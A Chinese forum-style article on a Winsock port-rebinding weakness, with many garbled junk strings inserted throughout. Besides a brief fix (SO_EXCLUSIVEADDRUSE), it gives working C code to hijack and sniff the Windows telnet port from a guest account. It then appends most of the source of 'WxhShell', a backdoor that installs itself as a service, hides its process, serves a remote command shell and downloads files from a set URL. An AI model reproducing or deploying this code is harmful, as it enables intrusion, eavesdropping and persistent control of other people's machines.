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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5\tYs=>b< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @]HV:7<q JqH2c=}- saddr.sin_family = AF_INET; OX4+1@$tk EQ>bwEG saddr.sin_addr.s_addr = htonl(INADDR_ANY); .-N9\GlJ,d *#;rp~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); um&e.V)N B%9[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :OBggb#?! w|PZSOJ 这意味着什么?意味着可以进行如下的攻击: xZmKKKd0* ]IJ.} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b,G+=&6u Bd"7F{H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6|LDb"Rvy zq]V6.]J 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b\?#O} ,Ql3RO, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 N[ArwV2O (vjQF$Hp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7w{`f)~ wy_TFV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &^9>h/-XT M)EUR0>8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -ij1%#t z J\
#include xMhR;lKY #include NnSI=M #include <z)MV
oa #include \{+7`4g DWORD WINAPI ClientThread(LPVOID lpParam); EGGy0 ly int main() +U%lWE% { r:Cad0xj;^ WORD wVersionRequested; kC9A DWORD ret;
~5}b$qL#` WSADATA wsaData; =4 JVUu~Z BOOL val; +Mm0bqNN SOCKADDR_IN saddr; 4b3p,$BWS SOCKADDR_IN scaddr; uNhAfZ int err; eB$v'9S8/ SOCKET s; ~w[zX4@ SOCKET sc; ",8h>eEWK int caddsize; ;{Z2i% HANDLE mt; A7_*zR@ DWORD tid; ,%nmCetD@ wVersionRequested = MAKEWORD( 2, 2 ); ~P6K)V|@< err = WSAStartup( wVersionRequested, &wsaData ); L1C'V/g if ( err != 0 ) { [TO:-8$. printf("error!WSAStartup failed!\n"); 3y 3
U`Mo return -1; 3+ i(fg_ } nNilTJ
saddr.sin_family = AF_INET; *bRH,u o~>p=5t //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8@+YcN;-> "?qu(}| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5-mJj&0:! saddr.sin_port = htons(23); y'yaCf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J?%D4AeS]v { ^<|If:| printf("error!socket failed!\n"); bR&hI9`%F return -1; c@nl;u)n } X?7$JV-: val = TRUE; U;V. +onv //SO_REUSEADDR选项就是可以实现端口重绑定的 [sKdIw_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x-Mp6 { 6o1.?t? printf("error!setsockopt failed!\n"); QdW%5lM+ return -1; bNaJ{Dm$R } 4a2&kIn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KP<J~+_ik //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ugdm" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~C!vfPC B|GJboQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Fsq S) { HZK0Ldf ret=GetLastError(); ]-PF? 8 printf("error!bind failed!\n"); h0^V!.-5 return -1; nM0nQ{6 } G0]n4"~+? listen(s,2); 10}Zoq|)n while(1) *!s4#|h { z~VA#8> caddsize = sizeof(scaddr); -O_UpjR; //接受连接请求 !w)Mm P Xb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C,IN+@ if(sc!=INVALID_SOCKET) Gg.w-& { v"F0$c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r
2 if(mt==NULL) lP9I\Ge& { VhW;=y>} printf("Thread Creat Failed!\n"); ka>RAr J break; KT g$^"\ } <hK$Cf_ } PO%]Jme CloseHandle(mt); I8Zp#'|U } ToMX7xz6 closesocket(s); .i=%gg WSACleanup(); D{l.WlA. return 0; uRL3v01?H0 } AV2q* DWORD WINAPI ClientThread(LPVOID lpParam) 5r+0^UAO:J { Y?5yzD: SOCKET ss = (SOCKET)lpParam; VUnEI oKM SOCKET sc; e:,.-Kvzp` unsigned char buf[4096]; ?xf;#J+{8 SOCKADDR_IN saddr; wl{p,[] long num; eh`V#%S= DWORD val; 3,F/i+@ DWORD ret; mm{U5 //如果是隐藏端口应用的话,可以在此处加一些判断 ,jt098W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 -y\N 9 saddr.sin_family = AF_INET; eLC&f} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <#s-hQ saddr.sin_port = htons(23); O?2<rbx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7K;dVB { / P:Hfq printf("error!socket failed!\n"); 0}^-, Q, return -1; c\]L } "w'YZO]> val = 100; "yz\p, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mhVoz0%1X { t~a$|(
9 ret = GetLastError(); n5JB'F) return -1; -E500F*b } ,m"ztu- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z~,.l
{ 3w9
]@kU ret = GetLastError(); #y*=UV|h return -1; GVfu_z? } - dOT/%Ux if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L$Leo6<3a { ]8_h9ziz printf("error!socket connect failed!\n"); z\E"={P& closesocket(sc); \=@r1[d closesocket(ss); QhG-1P3# return -1; Gzir>'d2'V } V%0.%/<#5 while(1) rgYuF,BT. { $HXB !$d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 28)TXRr- //如果是嗅探内容的话,可以再此处进行内容分析和记录 b"Mq7&cf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #VOjnc/rW num = recv(ss,buf,4096,0); *M|\B|A. if(num>0) z8j(SI;3 send(sc,buf,num,0); &53#`WgJ else if(num==0) V-cuG. break; #pe{:f? num = recv(sc,buf,4096,0); @\DD|o67 if(num>0) Ad,r(0a LZ send(ss,buf,num,0); hKTg~y^ else if(num==0) > 4ct[fW+ break; Ds
G
* } Me}TW!GC closesocket(ss); eTF8B<? closesocket(sc); PD}R7[".> return 0 ; rq1kj 8%2 } %)/f; T6 *3/7wSV: Hr+-ndH!Pq ========================================================== @gqw]_W `es($7}P_W 下边附上一个代码,,WXhSHELL [[e |GQ p-pw*wH0 ========================================================== -/-6Td1JY> #8z,'~\ #include "stdafx.h" &1p8#i bNROXiX #include <stdio.h> ,OKM\N, #include <string.h> yo*iv+l #include <windows.h> }R1`ThTM #include <winsock2.h> gr
5]5u
#include <winsvc.h> rEhf_[Dv #include <urlmon.h> bJ|?5 =GQ^uVf1 #pragma comment (lib, "Ws2_32.lib") y^AA#kk #pragma comment (lib, "urlmon.lib") N4To#Q1w ys/mv'#> #define MAX_USER 100 // 最大客户端连接数 B\_u${C #define BUF_SOCK 200 // sock buffer _=L;`~=C9e #define KEY_BUFF 255 // 输入 buffer \u]CD}/ .UrYF 0 #define REBOOT 0 // 重启 gx*rSS?=N #define SHUTDOWN 1 // 关机 vs1Sh?O %]ayW$4 #define DEF_PORT 5000 // 监听端口 ,z1!~gIal @ >(u:. #define REG_LEN 16 // 注册表键长度 i$ L]X[ #define SVC_LEN 80 // NT服务名长度 *|HZ&} j/9QV // 从dll定义API KupMndK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p{a]pG+3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ys$YI{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v1C.\fL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nr>{ uTa @LKG\zYBu // wxhshell配置信息 H\I!J@6g struct WSCFG { <8)s int ws_port; // 监听端口 F36ViN\b char ws_passstr[REG_LEN]; // 口令 c[ony:6 int ws_autoins; // 安装标记, 1=yes 0=no =$8@JF' char ws_regname[REG_LEN]; // 注册表键名 [S]!+YBK char ws_svcname[REG_LEN]; // 服务名 }IN_5o(( char ws_svcdisp[SVC_LEN]; // 服务显示名 {TncqA char ws_svcdesc[SVC_LEN]; // 服务描述信息 5!ubY
6Ph char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HJ qQlEq int ws_downexe; // 下载执行标记, 1=yes 0=no z"K(
bw6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" q{GSsDo-:V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p%"yBpSK b;L>%; }; }E5#X R )_v\{N // default Wxhshell configuration )@qup _M@ struct WSCFG wscfg={DEF_PORT, *e<Eu>fW#& "xuhuanlingzhe", n`)7Y`hBhP 1, `.'i V[fr "Wxhshell", 'yd@GQM& "Wxhshell", 90T%T2K "WxhShell Service", yIIETE "Wrsky Windows CmdShell Service", oM<!I0"gC+ "Please Input Your Password: ", A*;?U2 1, _E6}XNS " http://www.wrsky.com/wxhshell.exe", o}=. "Wxhshell.exe" ?Hi}nsw }; u:k:C Mjj}E
>& // 消息定义模块 `x}
Dk<HF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3}4p_}f/[4 char *msg_ws_prompt="\n\r? for help\n\r#>"; =#(0)p$EC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; i7nL_N char *msg_ws_ext="\n\rExit."; ole|J char *msg_ws_end="\n\rQuit."; 'qV3O+@MF char *msg_ws_boot="\n\rReboot..."; HmExfW
char *msg_ws_poff="\n\rShutdown..."; &|N%#pYS char *msg_ws_down="\n\rSave to "; vWl[l
-E D#7_TKX char *msg_ws_err="\n\rErr!"; }t|Plz char *msg_ws_ok="\n\rOK!"; 5#0e={X Ud#X@xK<h char ExeFile[MAX_PATH]; '_qQrP# int nUser = 0; rKzlK 'U HANDLE handles[MAX_USER]; #+"4&:my int OsIsNt; 85D^@{ q[G/} SERVICE_STATUS serviceStatus; #9`r XEz SERVICE_STATUS_HANDLE hServiceStatusHandle; (`6%og#8 B:-U`CHHQ // 函数声明 -@2'I++"@ int Install(void); A)Qh int Uninstall(void); {y-2 int DownloadFile(char *sURL, SOCKET wsh); 1TNz&=e int Boot(int flag); tqf&N0*
void HideProc(void); i-,D_ int GetOsVer(void); d=XpO*v,[ int Wxhshell(SOCKET wsl); BR36}iS;V void TalkWithClient(void *cs);
)C
{h1
` int CmdShell(SOCKET sock); pp~3@_)b int StartFromService(void); / Mod=/e int StartWxhshell(LPSTR lpCmdLine); 5Lsm_"0 Dz`k[mI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q_T]9d VOID WINAPI NTServiceHandler( DWORD fdwControl ); 94|yvh.B PK6*}y // 数据结构和表定义 ZBX SERVICE_TABLE_ENTRY DispatchTable[] = '@TI48 J+ { 9?;@*x {wscfg.ws_svcname, NTServiceMain}, Y{Da+ {NULL, NULL} e&QS#k }; z2w;oM$g 'y9*uT~ // 自我安装 J/'M N int Install(void) wE$s'e { U:]MgZWn char svExeFile[MAX_PATH]; F7{R~mS; HKEY key; c>ad0xce6 strcpy(svExeFile,ExeFile); 1")FWN_K/T dEASvD' // 如果是win9x系统,修改注册表设为自启动 lC#RNjDp/~ if(!OsIsNt) { TDlZ!$g( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e?V,fzg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~G>jw"r RegCloseKey(key); bj@xqAGl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q,.By& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3;*z3;#} RegCloseKey(key); /_V'DJV return 0; dv;9QCc' } jfUJ37zNZr } b5j*xZv
} XGfzEld2" else { E4+b-?PB~ $$JIBf8 // 如果是NT以上系统,安装为系统服务 ~TDzq -U) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4`nqAX~'f if (schSCManager!=0) BhKO_wQ?:J { L=,OZ9aA SC_HANDLE schService = CreateService &1wpGJqm ( qZaO&"q schSCManager, mD7}t wscfg.ws_svcname, D?e"U_ wscfg.ws_svcdisp, +W9]ED SERVICE_ALL_ACCESS, JO2xT#V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `=79i$,,t
SERVICE_AUTO_START, -!cIesK;< SERVICE_ERROR_NORMAL, fk>l{W}e) svExeFile, Dl%?OG< NULL, 9x=3W?K:, NULL, ~r<p@k=.#0 NULL, Xo Y7/&& NULL, <_9!
NULL s~^*+kq ); td >,TW=A* if (schService!=0) :zlpfm2 { Ah-8"`E CloseServiceHandle(schService); xf/m!b"p CloseServiceHandle(schSCManager); _gKu8$o=- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z,WubX< strcat(svExeFile,wscfg.ws_svcname); %e{(twp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )1f+ld%R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o/cr{>"N RegCloseKey(key); nq'M?c#E return 0; XLm@etf } I}+;ME|<2 } KAed!z9 CloseServiceHandle(schSCManager); :#{-RU@PS } Wr5 Q5s)c } hK(tPl$ vU!8`x) return 1; :.$"kXm^
} OV[`|<C ' gg[9u- // 自我卸载 D`VFf\7 int Uninstall(void) p<KIF>rf| { =_
y\Y@J
HKEY key; %c X"#+e M)JADX if(!OsIsNt) { +I52EXo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rB%y6P B RegDeleteValue(key,wscfg.ws_regname); |SQ|qbe= RegCloseKey(key); )11W)G`w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QR"bYQ RegDeleteValue(key,wscfg.ws_regname); 6NX3"i0eT RegCloseKey(key); 0|XKd24BN return 0; b`CWp;6Y } Uoji@ } O*G1 QX } l~J*' m2 else { IU#x[P! ?TpUf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); / p)F>WR if (schSCManager!=0) Zu21L3 { P~RhUKfd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -7%X] if (schService!=0) ^ve14mbF#. { ffE#^| if(DeleteService(schService)!=0) { GK?4@<fY CloseServiceHandle(schService); .9h)bf+ CloseServiceHandle(schSCManager); 5G(E&>~ return 0; t> .
Fl- } 3b!,D CloseServiceHandle(schService); Ei5 wel6! } mS%4gx~~_n CloseServiceHandle(schSCManager); lb~E0U`\E` } iW;i!, } 5~+XZA#2 cin2>3Z$ return 1; |g-b8+.=] } e1/sqXWo %8mm Hh // 从指定url下载文件 +E5=$` int DownloadFile(char *sURL, SOCKET wsh) h*w6/ZL1 { ? \m3~6y HRESULT hr; @{d\j]Nw char seps[]= "/"; <7)Fh*W@ char *token; s0C:m char *file; kl}Xmw{tJ char myURL[MAX_PATH]; _xrwu;o0} char myFILE[MAX_PATH]; ,9of(T(~ :243 H strcpy(myURL,sURL); /ty?<24ko token=strtok(myURL,seps); B,vOsa"x6` while(token!=NULL) :%X Ls, { }Qr6l/2 file=token; x83a!9 token=strtok(NULL,seps); )oU)}asY } W5pb;74| ^Q.,\TL01 GetCurrentDirectory(MAX_PATH,myFILE); PaO-J&< strcat(myFILE, "\\");
bwiD$ strcat(myFILE, file); O1P=#l iYX send(wsh,myFILE,strlen(myFILE),0); qOy=O
[+9 send(wsh,"...",3,0); L}%dCe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s B
20/F if(hr==S_OK) OqUr9?+ return 0; a~]bD else 'g)n1 { return 1; U|@V
74 h7yqk4'Lq } Ev9> @~^ $uh z // 系统电源模块 OCV+h' int Boot(int flag) 06mlj6hV { 4Ysb5m)u HANDLE hToken; 3x@<Z68S TOKEN_PRIVILEGES tkp; )9v`f9X){ `BY&>WY[ if(OsIsNt) { uQqWew8l+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pbu{'y3J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v?:: |{ tkp.PrivilegeCount = 1; kH948<fk3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9X}I> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G"dS+,Q if(flag==REBOOT) { J
CGC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y&.UIosWb return 0; {b)~V3rsY } )2e#HBnH else { qu|i;WZE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,h]o> return 0; 'UU\4M } <skajQQ } HMGB> else { ,IHb+ K if(flag==REBOOT) { 0?DC00O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EbY,N:LK return 0; 'gMfN } ]wVk+%e else { YT#3n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]lO h&Cz[ return 0; /+]s.V. } s
+s" MI } C.Uju`3 NH A 5e< return 1; b1#dz] } e [h8}F UUe#{6Jx_ // win9x进程隐藏模块 eU@Cr7@,| void HideProc(void) iq$$+y, { w'T q3-%V -~{c
u47_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K2)!h.W if ( hKernel != NULL ) iBg3mc@OO { b7`D|7D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u{<"NR h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |*5 =_vF FreeLibrary(hKernel); OhZgcUqQ8 } u+m,b76 NpP')m!`} return; <UP
m=Hb } 7,
}
$u 8IQtz2 // 获取操作系统版本 A7_4.VH int GetOsVer(void) ZP\M9Ja { bm~W
EX OSVERSIONINFO winfo; C4$:mJ>y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sl2iz? GetVersionEx(&winfo);
-fI`3# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7cDU2l return 1; {7hLsK[]) else sic"pn],U return 0; OR1DYHHT/1 } y&~w2{a 4R^mI // 客户端句柄模块 :ue:QSt(u int Wxhshell(SOCKET wsl) * |.0Myjo { `4?~nbz SOCKET wsh; HSUI${< struct sockaddr_in client; 0oZsb\ DWORD myID; g#]" hn 3f.b\4 U while(nUser<MAX_USER) t_z>Cl^u { %M
F;`; 1 int nSize=sizeof(client); K7knK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4S"\~>< if(wsh==INVALID_SOCKET) return 1; \W5O&G-C JCx
WWre handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +j_;(Gw7 if(handles[nUser]==0) |y;}zQB-dH closesocket(wsh); "Mw[P [w* else 7"F*u : nUser++; #AkV/1Y } h0--B]f@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @}p2aV59 (tah]Bx return 0; GE;e]Jkjn } 'VyM{:8 Bs+(L [Z // 关闭 socket ok^d@zI void CloseIt(SOCKET wsh) =uk0@hy9b { NL=|z=q closesocket(wsh); C
(n+SY^ nUser--; J?@DGp+t ExitThread(0); O4\Z!R60g } U@ ?LP ;h6v@)#GX // 客户端请求句柄 {^mNJ void TalkWithClient(void *cs) z?/1Kj}xG { omO
S=d!o =!O*/6rz SOCKET wsh=(SOCKET)cs;
/tV/85r char pwd[SVC_LEN]; 'FlJpA} char cmd[KEY_BUFF]; 6=4wp? char chr[1]; El_wdbbT int i,j; n~"$^Vr <?-YTY| while (nUser < MAX_USER) { w{[=l6L m 4%4avEa"w if(wscfg.ws_passstr) { (fNUj4[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v 8T$ &-HJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'w>_+jLT //ZeroMemory(pwd,KEY_BUFF); #/"8F O%~p i=0; WV3|?,y]qm while(i<SVC_LEN) { F|Mi{5G% ?]fF3 SJk // 设置超时 2XTPBZNe fd_set FdRead; bmN q[} struct timeval TimeOut; 7{e{9QbJ4 FD_ZERO(&FdRead); H gTUy[( FD_SET(wsh,&FdRead); HX'FYt/?t TimeOut.tv_sec=8; 9I1tN TimeOut.tv_usec=0; 3czeTj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [U}+sTQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Vd[- *D o/+[Ae if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ur
:i)~wXn pwd =chr[0]; ?88[|;b3 if(chr[0]==0xd || chr[0]==0xa) { .)}@J5P) pwd=0; /V3=KY`_J break; Q9I
j\HbA" } WLF0US' i++; 8^Hn"v } Vfv@7@q 56^+;^f^` // 如果是非法用户,关闭 socket JdIlWJY if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CTWn2tpW } t+5E#!y
8N:owK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &_JD)mM5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CkJCi 7.DtdyM while(1) { VrZ>bma; "UEv&mQ ZeroMemory(cmd,KEY_BUFF); 9lB]~,z vN2u34 // 自动支持客户端 telnet标准 d(g^M1m j=0; F+ E|r6'i while(j<KEY_BUFF) { *f,DhT/P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J]m{b09F cmd[j]=chr[0]; z0|&W&&D if(chr[0]==0xa || chr[0]==0xd) { O+%WR cmd[j]=0; W@yJAQ break; c/B'jPt } N`)$[&NG] j++; b-3*Nl _% }
'9c2Q/ jiF?fX@ // 下载文件 4iW'kuK if(strstr(cmd,"http://")) { D:Q
21Ch send(wsh,msg_ws_down,strlen(msg_ws_down),0); IbcZ@'RSw if(DownloadFile(cmd,wsh)) >^Se'SE] send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hm+ODv9 else D")_;NLE1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lh.`C7] } hp{OL< 2M else { ^Rx9w!pAN
#gm)dRKm% switch(cmd[0]) { kId
n6 Wx, A
AHt218 // 帮助 .uNQBBNv case '?': { P"<U6zM\sP send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )DYI
. break; ##Z_QB(; } L`th7d" // 安装 p7:{^ case 'i': { /y^7p9Z` if(Install()) F:6SPY
y send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]-j;#'& else tzy'G"P| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )xb|3&+W break; Rb(SBa } >J|]moSVA // 卸载 a_h]?5
:c case 'r': { e"
]2=5g if(Uninstall()) %cE2s` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^<LY4^ else R\XKMF3mN3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ='TE,et@d break; 6sa"O89 } ~G27;Npy // 显示 wxhshell 所在路径 8foJ I^3 case 'p': { YC_1Ks char svExeFile[MAX_PATH]; &Wf3~hmo strcpy(svExeFile,"\n\r"); 'R&uD~Q strcat(svExeFile,ExeFile); Yq(G;mjM send(wsh,svExeFile,strlen(svExeFile),0); /m!Cc/Hv break; )[1)$-Ru } f]7M'sy | // 重启 \,J/ r! case 'b': { = waA`Id send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F @Te@n if(Boot(REBOOT)) iD= p\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Z1q j> else { &qS[%K ) closesocket(wsh); WcC?8X2 ExitThread(0); \^#~@9 } zD3mX<sw break; Jv.UQ } "bDs2E+W // 关机 w&xDOyW] case 'd': { YDGS}~m~Q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3_q3Bk if(Boot(SHUTDOWN)) <L&m4O#| send(wsh,msg_ws_err,strlen(msg_ws_err),0); nI0[;'Hn, else { aTf`BG{kw closesocket(wsh); >AJSqgHQ, ExitThread(0); BcD&sQ2F } ^( Rvk break; .Vq)zi1< } C{2xHd/* // 获取shell `Y?87f:SP case 's': { #M A4 CmdShell(wsh); fAB e closesocket(wsh); ki>~H!zB ExitThread(0); %p
X6QRt? break; MQKfJru7 } C;(t/zh // 退出 @,XSs case 'x': { 9M"].~iNE send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _w*}\~`=^ CloseIt(wsh); H~ u[3LQz break; 7)%+=@ } $H$j-)\D // 离开 KR"M/# case 'q': { 1n\ t+F send(wsh,msg_ws_end,strlen(msg_ws_end),0); } G<rt closesocket(wsh); \
u_ui WSACleanup(); e$Y[Z{T5 exit(1); n&A'C\ break; lD{Aa!\ } /s];{m|>
} _20#2i& } i_][PTH w{k)XY40sW // 提示信息 Cye$H9 2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }KhjlPhx } -uh(?])H } OIl#DV. ;+1RUv return; XhsTT2B } ~8aJ S,u X0*QV- RN // shell模块句柄 nL:SG{7 int CmdShell(SOCKET sock) Zf7&._y. { hp"L8w STARTUPINFO si; e|4&b@ ZeroMemory(&si,sizeof(si)); *._|- L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dup;e&9g si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .d/:30Y PROCESS_INFORMATION ProcessInfo; PQ|69*2G char cmdline[]="cmd"; 7w;O}axI CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2BCtJ`S` return 0; 5sPywk{ } LI)!4(WH ,
*qCf@$I // 自身启动模式 +\Q?w?DE| int StartFromService(void) =uDgzdDyE { <}6{{&mT4 typedef struct Jgu94.;5 { -CH`> DWORD ExitStatus; n41@iK2l DWORD PebBaseAddress; wW?,;B'74 DWORD AffinityMask; ny-7P;->8 DWORD BasePriority; I]!^;)) ULONG UniqueProcessId; d2s OYCKe ULONG InheritedFromUniqueProcessId; g]UBZ33y } PROCESS_BASIC_INFORMATION; ^TB>.c@ `* *)]"27^ PROCNTQSIP NtQueryInformationProcess; fFjH "2WD Il.Ed-&62 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P6,7]6bp static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j]0^y}5f+s -G,^1AL> HANDLE hProcess; [Pe#kzLX PROCESS_BASIC_INFORMATION pbi; $(Ugtimdv qNyzU@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /WPv\L if(NULL == hInst ) return 0; ;O 0+, 4lKVY< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nx#4W1B[`H g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x_|F|9 